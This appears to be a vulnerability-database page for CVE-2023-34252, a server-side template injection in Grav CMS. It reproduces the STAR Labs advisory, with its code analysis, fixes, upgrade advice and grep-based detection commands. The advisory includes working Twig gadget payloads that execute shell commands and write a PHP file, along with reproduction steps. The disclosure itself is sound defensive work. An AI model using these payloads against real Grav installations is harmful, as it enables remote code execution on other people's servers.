CVE-2023-34252: Getgrav/grav Grav Server-side Template Injection (SSTI) Vulnerability
HIGH
Advisory Identifier:
GHSA-96xv-rmwj-6p9w
Advisory Summary
CVE-2023-34252 is a HIGH (CVSS 7.2) grav server-side template injection (ssti) vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Getgrav/grav libraries in the Packagist ecosystem. The issue involves grav server-side template injection (ssti) via twig default filters. Remediation is available by upgrading affected packages to version 1.7.42.
CVE-2023-34252 at a Glance
CVE Identifier
CVE-2023-34252
GHSA Identifier
GHSA-96xv-rmwj-6p9w
Severity
HIGH
CVSS v3.1 Base Score
7.2
CWE Classification
CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product
Getgrav/grav
Package Ecosystem
Packagist
Published Date
Last Updated
Security Impact
CVSS: 7.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
High (PR:H)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
High (C:H)
Integrity
High (I:H)
Availability
High (A:H)
How to Fix CVE-2023-34252
To remediate this vulnerability, upgrade all affected Getgrav/grav dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
getgrav/grav
fixed: 1.7.42
Upgrade getgrav/grav to 1.7.42
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for getgrav/gravHow to Check if You Are Affected
To determine whether your application is affected by CVE-2023-34252, inspect your project dependencies for Getgrav/grav:
inspect dependencies for getgrav/gravAnalyze the terminal output to locate any version of Getgrav/grav in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.7.42), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Getgrav/grav, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
Hi,
actually we have sent the bug report to [security@getgrav.org](mailto:security@getgrav.org) on 27th March 2023 and on 10th April 2023.
# Grav Server-side Template Injection (SSTI) via Insufficient Validation in filterFilter
## Summary:
| **Product** | Grav CMS |
| ----------------------- | --------------------------------------------- |
| **Vendor** | Grav |
| **Severity** | High - Users with login access to Grav Admin panel and page creation/update permissions are able to obtain remote code/command execution |
| **Affected Versions** | <= [v1.7.40](https://github.com/getgrav/grav/tree/1.7.40) (Commit [685d762](https://github.com/getgrav/grav/commit/685d76231a057416651ed192a6a2e83720800e61)) (Latest version as of writing) |
| **Tested Versions** | v1.7.40 |
| **Internal Identifier** | STAR-2023-0007 |
| **CVE Identifier** | TBD |
| **CWE(s)** | CWE-20: Improper Input Validation, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine |
## CVSS3.1 Scoring System:
**Base Score:** 7.2 (High)
**Vector String:** `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H`
| **Metric** | **Value** |
| ---------------------------- | --------- |
| **Attack Vector (AV)** | Network |
| **Attack Complexity (AC)** | Low |
| **Privileges Required (PR)** | High |
| **User Interaction (UI)** | None |
| **Scope (S)** | Unchanged |
| **Confidentiality \(C)** | High |
| **Integrity (I)** | High |
| **Availability (A)** | High |
## Product Overview:
Grav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.
## Vulnerability Summary:
There is a logic flaw in the `GravExtension.filterFilter()` function whereby validation against a denylist of unsafe functions is only performed when the argument passed to filter is a string. However, passing an array as a callable argument allows the validation check to be skipped. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution.
## Vulnerability Details:
The vulnerability can be found in the `GravExtension.filterFilter()` function declared in [`/system/src/Grav/Common/Twig/Extension/GravExtension.php`](https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Twig/Extension/GravExtension.php#L1692-L1698):
~~~php
...
class GravExtension extends AbstractExtension implements GlobalsInterface
{
...
/**
* Return a list of all filters.
*
* @return array
*/
public function getFilters(): array
{
return [
...
// Security fix
new TwigFilter('filter', [$this, 'filterFilter'], ['needs_environment' => true]),
];
}
...
/**
* @param Environment $env
* @param array $array
* @param callable|string $arrow
* @return array|CallbackFilterIterator
* @throws RuntimeError
*/
function filterFilter(Environment $env, $array, $arrow)
{
if (is_string($arrow) && Utils::isDangerousFunction($arrow)) { // [1]
throw new RuntimeError('Twig |filter("' . $arrow . '") is not allowed.');
}
return \twig_array_filter($env, $array, $arrow); // [2]
}
}
~~~
At [1], the `$arrow` parameter contains the argument supplied to the filter. For example, it may refer to `"funcname"` in `{{ array|filter("funcname") }}` or the closure (a.k.a. arrow function) `el => el != 'exclude'` in `{{ array|filter(el => el != 'exclude') }}`. Observe that `Utils::isDangerousFunction($arrow)` is only invoked if `$arrow` is a string. As such, non-string arguments may be passed to `twig_array_filter()` at [2] due to the absence of type enforcement at [1].
The implementation of the `twig_array_filter()` function can be found in [/src/Extension/CoreExtension.php](https://github.com/twigphp/Twig/blob/v1.44.7/src/Extension/CoreExtension.php) within Twig's codebase:
~~~php
function twig_array_filter(Environment $env, $array, $arrow)
{
if (!twig_test_iterable($array)) {
throw new RuntimeError(sprintf('The "filter" filter expects an array or "Traversable", got "%s".', \is_object($array) ? \get_class($array) : \gettype($array)));
}
if (!$arrow instanceof Closure && $env->hasExtension('\Twig\Extension\SandboxExtension') && $env->getExtension('\Twig\Extension\SandboxExtension')->isSandboxed()) { // [3]
throw new RuntimeError('The callable passed to "filter" filter must be a Closure in sandbox mode.');
}
if (\is_array($array)) {
if (\PHP_VERSION_ID >= 50600) {
return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH); // [4]
}
return array_filter($array, $arrow);
}
// the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}
~~~
At [3], a runtime error is thrown if `$arrow` is not a closure and Twig sandbox is enabled. However, since Grav does not use the Twig Sandbox extension, the check passes successfully even when `$arrow` is not a closure. Subsequently at [4], `array_filter()` is invoked with the user-controlled `$array` input and `$arrow` parameter.
Note that the method signature of `array_filter()` is as follows:
~~~php
array_filter(array $array, ?callable $callback = null, int $mode = 0): array
~~~
A common mistake that developers make is assuming that the `callable` type refers to a `string` type. This is untrue, and it is [well documented in the PHP Manual](https://www.php.net/manual/en/language.types.callable.php):
> A method of an instantiated object is passed as an **array containing an object at index 0 and the method name at index 1**. Accessing protected and private methods from within a class is allowed.
> Static class methods can also be passed without instantiating an object of that class by either, **passing the class name instead of an object at index 0, or passing `ClassName::methodName`**.
This means that all of the following method calls are valid:
~~~php
// Type 1: Simple callback -- invokes system("id")
array_filter(array("id"), "system");
// Type 2: Static class method call -- invokes Class::staticMethod($arg)
array_filter(array($arg), array("Class", "staticMethod"));
array_filter(array($arg), array("Class::staticMethod")); // same as above
// Type 3: Object method call -- invokes $obj->method($arg)
array_filter(array($arg), array($obj, "method"));
~~~
Going back to [1], if `$arrow` is an `array` instead of a `string` or `closure`, the validation check to prevent invocation of unsafe functions is completely skipped. Multiple static class methods within Grav's codebase and its dependencies were found to be suitable gadgets for achieving for remote code execution:
~~~twig
// Gadget 1: Using \Grav\Common\Utils::arrayFilterRecursive() within Grav's codebase to invoke system("id"):
{% set id = {'id': 0} %}
{{ {'system': id} | filter('\\Grav\\Common\\Utils', 'arrayFilterRecursive') }}
// Gadget 2: Using \Symfony\Component\VarDumper\Vardumper::setHandler() and \Symfony\Component\VarDumper\Vardumper::dump() to invoke system("id"):
{{ ['system'] | filter(['\\Symfony\\Component\\VarDumper\\VarDumper', 'setHandler'])}}
{{ ['id'] | filter(['\\Symfony\\Component\\VarDumper\\VarDumper', 'dump']) }}
// Gadget 3: Using \RocketTheme\Toolbox\File\File::instance() in Grav's default theme to perform arbitrary file write to rce.php in the webroot:
{{ (['rce.php'] | map(['\\RocketTheme\\Toolbox\\File\\File', 'instance']))[0].save('<?php echo phpinfo(); ') }}
// Gadget 4: Using \Symfony\Component\Process\Process::fromShellCommandline() to invoke system("id"):
{{ {'/':'sleep 3'} | map(['\\Symfony\\Component\\Process\\Process', 'fromShellCommandline']) | map(e => e.run()) | print_r }}
~~~
## Exploit Conditions:
This vulnerability can be exploited if the attacker has access to:
1. an administrator account, or
2. a non-administrator, user account that are granted the following permissions:
- login access to Grav admin panel, and
- page creation or update rights
## Reproduction Steps:
1. Log in to Grav Admin using an administrator account.
2. Navigate to `Accounts > Add`, and ensure that the following permissions are assigned when creating a new low-privileged user:
* Login to Admin - Allowed
* Page Update - Allowed
3. Log out of Grav Admin, and log back in using the account created in step 2.
4. Navigate to `http://<grav_installation>/admin/pages/home`.
5. Click the `Advanced` tab and select the checkbox beside `Twig` to ensure that Twig processing is enabled for the modified webpage.
6. Under the `Content` tab, insert the following payload within the editor:
~~~twig
// Gadget 1: Using \Grav\Common\Utils::arrayFilterRecursive() within Grav's codebase to invoke system("id"):
{% set id = {'id': 0} %}
{{ {'system': id} | filter('\\Grav\\Common\\Utils', 'arrayFilterRecursive') }}
~~~
7. Click the Preview button. Observe that the output of the `id` shell command is returned in the preview.
## Suggested Mitigations:
Patch the logic flaw in the `GravExtension.filterFilter()` function declared in `/system/src/Grav/Common/Twig/Extension/GravExtension.php` to ensure that the `$arrow` paramater passed to the `filterFilter()` function must either be a `string` or an arrow function as such:
~~~diff php
...
class GravExtension extends AbstractExtension implements GlobalsInterface
{
...
/**
* @param Environment $env
* @param array $array
* @param callable|string $arrow
* @return array|CallbackFilterIterator
* @throws RuntimeError
*/
function filterFilter(Environment $env, $array, $arrow)
{
- if (is_string($arrow) && Utils::isDangerousFunction($arrow)) {
+ if (!$arrow instanceof Closure && !is_string($arrow) || Utils::isDangerousFunction($arrow)) {
throw new RuntimeError('Twig |filter("' . $arrow . '") is not allowed.');
}
return \twig_array_filter($env, $array, $arrow);
}
}
~~~
`Utils::isDangerousFunction()` in [/system/src/Grav/Common/Utils.php](https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1956-L2074) should also be patched to prevent static class methods from being invoked. For example,
~~~diff php
...
abstract class Utils
{
...
/**
* @param string $name
* @return bool
*/
public static function isDangerousFunction(string $name): bool
{
...
+ if (is_array($name) || strpos($name, ":") !== false) {
+ return false;
+ }
if (in_array($name, $commandExecutionFunctions)) {
return true;
}
if (in_array($name, $codeExecutionFunctions)) {
return true;
}
if (isset($callbackFunctions[$name])) {
return true;
}
if (in_array($name, $informationDiscosureFunctions)) {
return true;
}
if (in_array($name, $otherFunctions)) {
return true;
}
return static::isFilesystemFunction($name);
}
...
}
~~~
End users should also ensure that `twig.undefined_functions` and `twig.undefined_filters` properties in `/path/to/webroot/system/config/system.yaml` configuration file are set to `false` to disallow Twig from treating undefined filters/functions as PHP functions and executing them.
## Detection Guidance:
The following strategies may be used to detect potential exploitation attempts.
1. Searching within Markdown pages using the following shell command:
`grep -Priz -e '\|\s*(filter|map|reduce)\s*\(' /path/to/webroot/user/pages/`
2. Searching within Doctrine cache data using the following shell command:
`grep -Priz -e '\|\s*(filter|map|reduce)\s*\(' --include '*.doctrinecache.data' /path/to/webroot/cache/`
3. Searching within Twig cache using the following shell command:
`grep -Priz -e 'twig_array_(filter|map|reduce)' /path/to/webroot/cache/twig/`
4. Searching within compiled Twig template files using the following shell command:
`grep -Priz -e '\|\s*(filter|map|reduce)\s*\(' /path/to/webroot/cache/compiled/files/`
Note that it is not possible to detect indicators of compromise reliably using the Grav log file (located at `/path/to/webroot/logs/grav.log` by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.
## Credits:
Ngo Wei Lin ([@Creastery](https://twitter.com/Creastery)) & Wang Hengyue ([@w_hy_04](https://twitter.com/w_hy_04)) of STAR Labs SG Pte. Ltd. ([@starlabs_sg](https://twitter.com/starlabs_sg))
Kindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report:
1. **CVE-2023-30595**
Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in `GravExtension.filterFilter()` and to achieve remote code execution via usage of fully-qualified names, supplied as arrays of strings, when referencing callables. This is a bypass of CVE-2022-2073.
CVE-2023-34252 Affected Getgrav/grav Versions
1 component(s)
Fixed Versions:
1.7.42
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
getgrav/grav
|
Packagist |
< 1.7.42
|
1.7.42
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/getgrav/grav/security/advisories/GHSA-96xv-rmwj-6p9w
NVD — CVE-2023-34252
NVD
https://nvd.nist.gov/vuln/detail/CVE-2023-34252
Security Fix Commit
FIX COMMIT
https://github.com/getgrav/grav/commit/244758d4383034fe4cd292d41e477177870b65ec
Security Fix Commit
FIX COMMIT
https://github.com/getgrav/grav/commit/71bbed12f950de8335006d7f91112263d8504f1b
Security Fix Commit
FIX COMMIT
https://github.com/getgrav/grav/commit/8c2c1cb72611a399f13423fc6d0e1d998c03e5c8
Security Fix Commit
FIX COMMIT
https://github.com/getgrav/grav/commit/9d01140a63c77075ef09b26ef57cf186138151a5
Getgrav/grav Source Repository
REPOSITORY
https://github.com/getgrav/grav
Getgrav/grav Source Repository
REPOSITORY
https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Twig/Extension/GravExtension.php#L1692-L1698
Getgrav/grav Source Repository
REPOSITORY
https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1956-L2074
Frequently Asked Questions
What is CVE-2023-34252?
CVE-2023-34252 is a security vulnerability in Getgrav/grav involving Grav Server-side Template Injection (SSTI) via Twig Default Filters under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Getgrav/grav versions are affected?
Affected versions include releases prior to 1.7.42 across affected packages: getgrav/grav.
What version fixes CVE-2023-34252?
Upgrading to 1.7.42 (or the latest patched release for your respective branch) resolves the vulnerability.
Is getgrav/grav affected?
Yes, getgrav/grav is affected in releases prior to 1.7.42. Upgrade your dependency to 1.7.42 or later.
What is the CVSS score of CVE-2023-34252?
CVE-2023-34252 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2023-34252?
CVE-2023-34252 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check Packagist dependencies for CVE-2023-34252?
Run the dependency tree command: 'inspect dependencies for getgrav/grav'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-96xv-rmwj-6p9w",
"modified" : "2023-06-16T19:36:39Z",
"published" : "2023-06-16T19:36:39Z",
"aliases" : [ "CVE-2023-34252" ],
"summary" : "Grav Server-side Template Injection (SSTI) via Twig Default Filters",
"details" : "Hi,\n\nactually we have sent the bug report to [security@getgrav.org](mailto:security@getgrav.org) on 27th March 2023 and on 10th April 2023.\n\n# Grav Server-side Template Injection (SSTI) via Insufficient Validation in filterFilter\n\n## Summary: \n| **Product** | Grav CMS |\n| ----------------------- | --------------------------------------------- |\n| **Vendor** | Grav |\n| **Severity** | High - Users with login access to Grav Admin panel and page creation/update permissions are able to obtain remote code/command execution |\n| **Affected Versions** | <= [v1.7.40](https://github.com/getgrav/grav/tree/1.7.40) (Commit [685d762](https://github.com/getgrav/grav/commit/685d76231a057416651ed192a6a2e83720800e61)) (Latest version as of writing) |\n| **Tested Versions** | v1.7.40 |\n| **Internal Identifier** | STAR-2023-0007 |\n| **CVE Identifier** | TBD |\n| **CWE(s)** | CWE-20: Improper Input Validation, CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine |\n\n## CVSS3.1 Scoring System: \n**Base Score:** 7.2 (High) \n**Vector String:** `CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` \n| **Metric** | **Value** |\n| ---------------------------- | --------- |\n| **Attack Vector (AV)** | Network |\n| **Attack Complexity (AC)** | Low |\n| **Privileges Required (PR)** | High |\n| **User Interaction (UI)** | None |\n| **Scope (S)** | Unchanged |\n| **Confidentiality \\(C)** | High |\n| **Integrity (I)** | High |\n| **Availability (A)** | High |\n\n## Product Overview: \nGrav is a PHP-based flat-file content management system (CMS) designed to provide a fast and simple way to build websites. It supports rendering of web pages written in Markdown and Twig expressions, and provides an administration panel to manage the entire website via an optional Admin plugin.\n\n## Vulnerability Summary: \nThere is a logic flaw in the `GravExtension.filterFilter()` function whereby validation against a denylist of unsafe functions is only performed when the argument passed to filter is a string. However, passing an array as a callable argument allows the validation check to be skipped. Consequently, a low privileged attacker with login access to Grav Admin panel and page creation/update permissions is able to inject malicious templates to obtain remote code execution.\n\n## Vulnerability Details: \nThe vulnerability can be found in the `GravExtension.filterFilter()` function declared in [`/system/src/Grav/Common/Twig/Extension/GravExtension.php`](https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Twig/Extension/GravExtension.php#L1692-L1698):\n~~~php\n...\nclass GravExtension extends AbstractExtension implements GlobalsInterface\n{\n ...\n \n /**\n * Return a list of all filters.\n *\n * @return array\n */\n public function getFilters(): array\n {\n return [\n ...\n \n // Security fix\n new TwigFilter('filter', [$this, 'filterFilter'], ['needs_environment' => true]),\n ];\n }\n\n ...\n\n /**\n * @param Environment $env\n * @param array $array\n * @param callable|string $arrow\n * @return array|CallbackFilterIterator\n * @throws RuntimeError\n */\n function filterFilter(Environment $env, $array, $arrow)\n {\n if (is_string($arrow) && Utils::isDangerousFunction($arrow)) { // [1]\n throw new RuntimeError('Twig |filter(\"' . $arrow . '\") is not allowed.');\n }\n\n return \\twig_array_filter($env, $array, $arrow); // [2]\n }\n}\n~~~\n\nAt [1], the `$arrow` parameter contains the argument supplied to the filter. For example, it may refer to `\"funcname\"` in `{{ array|filter(\"funcname\") }}` or the closure (a.k.a. arrow function) `el => el != 'exclude'` in `{{ array|filter(el => el != 'exclude') }}`. Observe that `Utils::isDangerousFunction($arrow)` is only invoked if `$arrow` is a string. As such, non-string arguments may be passed to `twig_array_filter()` at [2] due to the absence of type enforcement at [1].\n\nThe implementation of the `twig_array_filter()` function can be found in [/src/Extension/CoreExtension.php](https://github.com/twigphp/Twig/blob/v1.44.7/src/Extension/CoreExtension.php) within Twig's codebase:\n~~~php\nfunction twig_array_filter(Environment $env, $array, $arrow)\n{\n if (!twig_test_iterable($array)) {\n throw new RuntimeError(sprintf('The \"filter\" filter expects an array or \"Traversable\", got \"%s\".', \\is_object($array) ? \\get_class($array) : \\gettype($array)));\n }\n\n if (!$arrow instanceof Closure && $env->hasExtension('\\Twig\\Extension\\SandboxExtension') && $env->getExtension('\\Twig\\Extension\\SandboxExtension')->isSandboxed()) { // [3]\n throw new RuntimeError('The callable passed to \"filter\" filter must be a Closure in sandbox mode.');\n }\n\n if (\\is_array($array)) {\n if (\\PHP_VERSION_ID >= 50600) {\n return array_filter($array, $arrow, \\ARRAY_FILTER_USE_BOTH); // [4]\n }\n\n return array_filter($array, $arrow);\n }\n\n // the IteratorIterator wrapping is needed as some internal PHP classes are \\Traversable but do not implement \\Iterator\n return new \\CallbackFilterIterator(new \\IteratorIterator($array), $arrow);\n}\n~~~\n\nAt [3], a runtime error is thrown if `$arrow` is not a closure and Twig sandbox is enabled. However, since Grav does not use the Twig Sandbox extension, the check passes successfully even when `$arrow` is not a closure. Subsequently at [4], `array_filter()` is invoked with the user-controlled `$array` input and `$arrow` parameter.\n\nNote that the method signature of `array_filter()` is as follows:\n~~~php\narray_filter(array $array, ?callable $callback = null, int $mode = 0): array\n~~~\n\nA common mistake that developers make is assuming that the `callable` type refers to a `string` type. This is untrue, and it is [well documented in the PHP Manual](https://www.php.net/manual/en/language.types.callable.php):\n> A method of an instantiated object is passed as an **array containing an object at index 0 and the method name at index 1**. Accessing protected and private methods from within a class is allowed.\n> Static class methods can also be passed without instantiating an object of that class by either, **passing the class name instead of an object at index 0, or passing `ClassName::methodName`**.\n\nThis means that all of the following method calls are valid:\n~~~php\n// Type 1: Simple callback -- invokes system(\"id\")\narray_filter(array(\"id\"), \"system\");\n\n// Type 2: Static class method call -- invokes Class::staticMethod($arg)\narray_filter(array($arg), array(\"Class\", \"staticMethod\"));\narray_filter(array($arg), array(\"Class::staticMethod\")); // same as above\n\n// Type 3: Object method call -- invokes $obj->method($arg)\narray_filter(array($arg), array($obj, \"method\"));\n~~~\n\nGoing back to [1], if `$arrow` is an `array` instead of a `string` or `closure`, the validation check to prevent invocation of unsafe functions is completely skipped. Multiple static class methods within Grav's codebase and its dependencies were found to be suitable gadgets for achieving for remote code execution:\n~~~twig\n// Gadget 1: Using \\Grav\\Common\\Utils::arrayFilterRecursive() within Grav's codebase to invoke system(\"id\"):\n{% set id = {'id': 0} %}\n{{ {'system': id} | filter('\\\\Grav\\\\Common\\\\Utils', 'arrayFilterRecursive') }}\n\n// Gadget 2: Using \\Symfony\\Component\\VarDumper\\Vardumper::setHandler() and \\Symfony\\Component\\VarDumper\\Vardumper::dump() to invoke system(\"id\"):\n{{ ['system'] | filter(['\\\\Symfony\\\\Component\\\\VarDumper\\\\VarDumper', 'setHandler'])}}\n{{ ['id'] | filter(['\\\\Symfony\\\\Component\\\\VarDumper\\\\VarDumper', 'dump']) }}\n\n// Gadget 3: Using \\RocketTheme\\Toolbox\\File\\File::instance() in Grav's default theme to perform arbitrary file write to rce.php in the webroot:\n{{ (['rce.php'] | map(['\\\\RocketTheme\\\\Toolbox\\\\File\\\\File', 'instance']))[0].save('<?php echo phpinfo(); ') }}\n\n// Gadget 4: Using \\Symfony\\Component\\Process\\Process::fromShellCommandline() to invoke system(\"id\"):\n{{ {'/':'sleep 3'} | map(['\\\\Symfony\\\\Component\\\\Process\\\\Process', 'fromShellCommandline']) | map(e => e.run()) | print_r }}\n~~~\n\n## Exploit Conditions: \nThis vulnerability can be exploited if the attacker has access to:\n1. an administrator account, or\n2. a non-administrator, user account that are granted the following permissions:\n - login access to Grav admin panel, and\n - page creation or update rights\n\n## Reproduction Steps: \n1. Log in to Grav Admin using an administrator account.\n2. Navigate to `Accounts > Add`, and ensure that the following permissions are assigned when creating a new low-privileged user:\n * Login to Admin - Allowed\n * Page Update - Allowed\n3. Log out of Grav Admin, and log back in using the account created in step 2.\n4. Navigate to `http://<grav_installation>/admin/pages/home`.\n5. Click the `Advanced` tab and select the checkbox beside `Twig` to ensure that Twig processing is enabled for the modified webpage.\n6. Under the `Content` tab, insert the following payload within the editor:\n ~~~twig\n // Gadget 1: Using \\Grav\\Common\\Utils::arrayFilterRecursive() within Grav's codebase to invoke system(\"id\"):\n {% set id = {'id': 0} %}\n {{ {'system': id} | filter('\\\\Grav\\\\Common\\\\Utils', 'arrayFilterRecursive') }}\n ~~~\n7. Click the Preview button. Observe that the output of the `id` shell command is returned in the preview.\n\n## Suggested Mitigations: \nPatch the logic flaw in the `GravExtension.filterFilter()` function declared in `/system/src/Grav/Common/Twig/Extension/GravExtension.php` to ensure that the `$arrow` paramater passed to the `filterFilter()` function must either be a `string` or an arrow function as such:\n~~~diff php\n...\nclass GravExtension extends AbstractExtension implements GlobalsInterface\n{\n ...\n\n /**\n * @param Environment $env\n * @param array $array\n * @param callable|string $arrow\n * @return array|CallbackFilterIterator\n * @throws RuntimeError\n */\n function filterFilter(Environment $env, $array, $arrow)\n {\n- if (is_string($arrow) && Utils::isDangerousFunction($arrow)) {\n+ if (!$arrow instanceof Closure && !is_string($arrow) || Utils::isDangerousFunction($arrow)) {\n throw new RuntimeError('Twig |filter(\"' . $arrow . '\") is not allowed.');\n }\n\n return \\twig_array_filter($env, $array, $arrow);\n }\n}\n~~~\n\n`Utils::isDangerousFunction()` in [/system/src/Grav/Common/Utils.php](https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1956-L2074) should also be patched to prevent static class methods from being invoked. For example,\n~~~diff php\n...\nabstract class Utils\n{\n ...\n /**\n * @param string $name\n * @return bool\n */\n public static function isDangerousFunction(string $name): bool\n {\n ...\n\n+ if (is_array($name) || strpos($name, \":\") !== false) {\n+ return false;\n+ }\n\n if (in_array($name, $commandExecutionFunctions)) {\n return true;\n }\n\n if (in_array($name, $codeExecutionFunctions)) {\n return true;\n }\n\n if (isset($callbackFunctions[$name])) {\n return true;\n }\n\n if (in_array($name, $informationDiscosureFunctions)) {\n return true;\n }\n\n if (in_array($name, $otherFunctions)) {\n return true;\n }\n\n return static::isFilesystemFunction($name);\n }\n ...\n}\n~~~\n\nEnd users should also ensure that `twig.undefined_functions` and `twig.undefined_filters` properties in `/path/to/webroot/system/config/system.yaml` configuration file are set to `false` to disallow Twig from treating undefined filters/functions as PHP functions and executing them.\n\n## Detection Guidance: \nThe following strategies may be used to detect potential exploitation attempts.\n1. Searching within Markdown pages using the following shell command: \n `grep -Priz -e '\\|\\s*(filter|map|reduce)\\s*\\(' /path/to/webroot/user/pages/`\n2. Searching within Doctrine cache data using the following shell command: \n `grep -Priz -e '\\|\\s*(filter|map|reduce)\\s*\\(' --include '*.doctrinecache.data' /path/to/webroot/cache/`\n3. Searching within Twig cache using the following shell command: \n `grep -Priz -e 'twig_array_(filter|map|reduce)' /path/to/webroot/cache/twig/`\n4. Searching within compiled Twig template files using the following shell command: \n `grep -Priz -e '\\|\\s*(filter|map|reduce)\\s*\\(' /path/to/webroot/cache/compiled/files/`\n\nNote that it is not possible to detect indicators of compromise reliably using the Grav log file (located at `/path/to/webroot/logs/grav.log` by default), as successful exploitation attempts do not generate any additional logs. However, it is worthwhile to examine any PHP errors or warnings logged to determine the existence of any failed exploitation attempts.\n\n## Credits: \nNgo Wei Lin ([@Creastery](https://twitter.com/Creastery)) & Wang Hengyue ([@w_hy_04](https://twitter.com/w_hy_04)) of STAR Labs SG Pte. Ltd. ([@starlabs_sg](https://twitter.com/starlabs_sg))\n\nKindly note that STAR Labs reserved and assigned the following CVE identifiers to the respective vulnerabilities presented in this report: \n1. **CVE-2023-30595**\n Server-side Template Injection (SSTI) in getgrav/grav <= v1.7.40 allows Grav Admin users with page creation or update rights to bypass the dangerous functions denylist check in `GravExtension.filterFilter()` and to achieve remote code execution via usage of fully-qualified names, supplied as arrays of strings, when referencing callables. This is a bypass of CVE-2022-2073.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "getgrav/grav"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.7.42"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/security/advisories/GHSA-96xv-rmwj-6p9w"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-34252"
}, {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/commit/244758d4383034fe4cd292d41e477177870b65ec"
}, {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/commit/71bbed12f950de8335006d7f91112263d8504f1b"
}, {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/commit/8c2c1cb72611a399f13423fc6d0e1d998c03e5c8"
}, {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/commit/9d01140a63c77075ef09b26ef57cf186138151a5"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/getgrav/grav"
}, {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Twig/Extension/GravExtension.php#L1692-L1698"
}, {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/blob/1.7.40/system/src/Grav/Common/Utils.php#L1956-L2074"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1336", "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2023-06-16T19:36:39Z",
"nvd_published_at" : "2023-06-14T22:15:09Z"
}
}